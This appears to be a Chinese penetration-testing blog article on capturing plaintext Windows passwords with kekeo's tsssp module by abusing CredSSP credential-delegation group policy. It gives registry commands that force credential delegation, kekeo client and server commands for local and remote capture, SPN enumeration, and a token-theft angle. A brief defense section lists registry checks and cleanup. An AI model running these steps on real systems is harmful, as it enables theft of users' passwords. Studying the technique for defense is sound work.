0x00 前言
在滲透測試中,為了獲得Windows系統中的用戶口令,通常會選擇讀取lsass進程的內存。這種方法不僅需要獲得系統的管理員權限,而且在更多情況下需要繞過系統對lsass進程的保護。
我在之前的文章《Windows下的密碼hash——Net-NTLMv1介紹》曾介紹過使用InternalMonologue獲得當前用戶憑據的方法(通過SSPI調用對NTLM身份驗證包(MSV1_0)的本地過程調用,以計算出NetNTLM響應),不需要對lsass進程操作。
本文將要介紹另外一種獲得當前用戶口令的方法,同樣不需要對lsass進程操作。
這是Benjamin @gentilkiwi Delpy開源的kekeo在2018年添加的功能,只需要修改Windows系統的組策略,就能夠以普通用戶的權限獲得用戶的明文口令。
本文將要對其中的原理進行簡要介紹,分析不同環境下的利用思路,給出防禦建議。
0x01 簡介
本文將要介紹以下內容:
·實現原理
·實現方法
·利用分析
·防禦檢測
0x02 實現原理
1.基礎知識
CredSSP
全稱Credential Security Support Provider protocol。
CredSSP協議的目的是將用戶的明文密碼從CredSSP客戶端委派給CredSSP伺服器。
CredSSP通常應用於遠程桌面服務(Remote Desktop Protocol)和Windows遠程管理(Windows Remote Management)(例如Powershell Remoting)。
CredSSP提供了加密的傳輸層安全協議通道。協商協議使用Kerberos和NTLM。
參考資料:
https://docs.microsoft.com/en-us/windows/win32/secauthn/credential-security-support-provider
2.通過組策略設置CredSSP的憑據分配
通過組策略可以指定使用CredSSP組件的應用程式是否發送默認憑據。
組策略位置:Computer Configuration->Administrative Templates->System->Credentials Delegation
如下圖:
Allow delegating default credentials表示在通過使用受信任的X509證書或Kerberos實現伺服器身份驗證時自動發送當前用戶的憑據。
Allow delegating default credentials with NTLM-only server authentication表示在通過NTLM實現伺服器身份驗證時自動發送當前用戶的憑據
組策略對應的註冊表位置:HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation。
3.CredSSP的憑據分配在遠程桌面服務上的應用
對於工作組環境,需要啟用Allow delegating default credentials with NTLM-only server authentication。
對於域環境,需要啟用Allow delegating default credentials。
開啟對應的組策略後,在使用遠程桌面連接時,會自動發送當前用戶的憑據(明文格式,不是hash)。
數據結構如下:
TSPasswordCreds ::= SEQUENCE {
domainName [0] OCTET STRING,
userName [1] OCTET STRING,
password [2] OCTET STRING
}
參考資料:
https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-cssp/17773cc4-21e9-4a75-a0dd-72706b174fe5
4.實現原理
綜上,如果我們實現以下操作:
·修改主機A的組策略,設置為自動發送當前用戶的憑據
·在主機B上面實現服務端的功能,接收主機A發送的請求
那麼當我們控制主機A連接主機B時,主機B就能夠獲得主機A用戶的明文口令。
CredSSP協議細節可參考:
https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-cssp/85f57821-40bb-46aa-bfcb-ba9590b8fc30
更近一步,如果我們實現以下操作:
·修改主機A的組策略,設置為自動發送當前用戶的憑據
·在主機A上面實現服務端的功能,接收主機A自己發送的請求
我們同樣能夠獲得用戶的明文口令。
註:keko的實現方式是通過SMB協議創建命名管道,而不是RDP協議。
如下圖:
0x03 實現方法
通過修改註冊表的方式添加組策略,命令如下:
reg add hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation /v AllowDefaultCredentials /t REG_DWORD /d 1
reg add hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation /v AllowDefCredentialsWhenNTLMOnly /t REG_DWORD /d 1
reg add hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation /v ConcatenateDefaults_AllowDefault /t REG_DWORD /d 1
reg add hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation /v ConcatenateDefaults_AllowDefNTLMOnly /t REG_DWORD /d 1
reg add hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation\AllowDefaultCredentials /v 1 /t REG_SZ /d *
reg add hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation\AllowDefCredentialsWhenNTLMOnly /v 1 /t REG_SZ /d *
添加組策略後,需要等待用戶重新登錄並輸入憑據後才能生效,例如鎖屏、註銷或重啟等。
對於不同的網絡環境,實現方法存在差異。
1.工作組網絡
身份驗證方式為NTLM。
(1)抓取本機口令
建立伺服器的kekeo命令如下(普通用戶權限):
tsssp::server
連接伺服器的kekeo命令如下(普通用戶權限):
tsssp::client /target:anyword
如下圖:
註:抓取本機口令時,target參數可以設置為任意字符。
2.域網絡
身份驗證方式為Kerberos
(1)抓取本機口令
建立伺服器的kekeo命令如下(普通用戶權限):
tsssp::server
連接伺服器的kekeo命令如下(普通用戶權限):
tsssp::client /target:anyword
註:抓取本機口令時,target參數可以設置為任意字符。
(2)抓取遠程主機口令
建立伺服器的kekeo命令如下(System權限):
tsssp::server
連接伺服器的kekeo命令如下(普通用戶權限):
tsssp::client /target:TERMSRV/COMPUTER01.test.com /pipe:\\COMPUTER01.test.com\pipe\kekeo_tsssp_endpoint
結果如下圖:
這裡使用的參數為域內計算機帳戶對應的SPN。
查看當前域內的所有SPN可以使用setspn命令:
setspn.exe -q */*
查看test域內的所有SPN:
setspn.exe -T test -q */*
0x04 利用分析
1.優點
不需要同lsass進程交互,所以能夠繞過對lsass進程的保護。
在修改組策略後,只需要普通用戶權限就能實現。
註:添加組策略後,需要等待用戶重新登錄並輸入憑據後才能生效,例如鎖屏、註銷或重啟等。
2.其他利用思路
(1)代碼的提取
我將kekeo的tsssp::client功能單獨提取出來,地址如下:
https://github.com/3gstudent/Homework-of-C-Language/blob/master/tsssp_client.cpp
代碼支持連接本地和遠程伺服器。
只需要填寫pipi參數,我的代碼會將target參數自動補全為TERMSRV/
連接本地的命令示例:
tsssp_client.exe localhost
測試如下圖:
連接遠程伺服器的命令示例:
tsssp_client.exe Computer01.test.com
測試如下圖:
kekeo的tsssp::server功能需要安裝OSS ASN.1/C
註:使用試用版的OSS ASN.1/C編譯生成的exe文件無法在未安裝OSS ASN.1/C的系統下使用。
(2)抓取其他用戶的口令
使用其他用戶的token啟動kekeo.exe或者tsssp_client.exe即可。
token的利用方法可參考《滲透技巧——Token竊取與利用》。
0x05 防禦檢測
1.查詢組策略配置
查詢註冊表的cmd命令如下:
reg query hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation
2.刪除組策略配置
刪除註冊表項的cmd命令如下:
reg delete hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation /f
0x06 小結
本文介紹了kekeo的tsssp模塊在不同環境下的利用方法,結合利用思路給出防禦建議。